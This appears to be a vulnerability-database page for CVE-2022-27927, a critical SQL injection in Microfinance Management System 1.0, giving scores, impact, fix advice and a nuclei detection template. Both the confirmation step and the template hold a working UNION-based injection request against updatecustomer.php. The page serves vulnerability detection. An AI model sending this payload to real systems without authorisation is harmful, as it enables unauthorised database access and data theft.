HexBrain

Browse / CVEs / CVE-2022-27927

CVE-2022-27927· microfinance management system project / microfinance management system· CWE-89

Microfinance Management System 1.0 - SQL Injection

criticalseverity
9.8CVSS score
13.9%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Microfinance Management System 1.0 is susceptible to SQL Injection.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Microfinance Management System 1.0.

How to confirm it

Send: GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL'
Positive when: contains "{{md5({{num}})}}" AND status 200

Run it with nuclei: nuclei -id CVE-2022-27927 -u <target>

The full check
id: CVE-2022-27927

info:
  name: Microfinance Management System 1.0 - SQL Injection
  author: lucasljm2001,ekrause
  severity: critical
  description: |
    Microfinance Management System 1.0 is susceptible to SQL Injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Microfinance Management System 1.0.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927
    - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
    - https://www.exploit-db.com/exploits/50891
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27927
    - https://www.sourcecodester.com/php/14822/microfinance-management-system.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-27927
    cwe-id: CWE-89
    epss-score: 0.1394
    epss-percentile: 0.96574
    cpe: cpe:2.3:a:microfinance_management_system_project:microfinance_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microfinance_management_system_project
    product: microfinance_management_system
  tags: cve,cve2022,microfinance,edb,sqli,microfinance_management_system_project,vuln,vkev
variables:
  num: "999999999"

http:
  - raw:
      - |
        GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from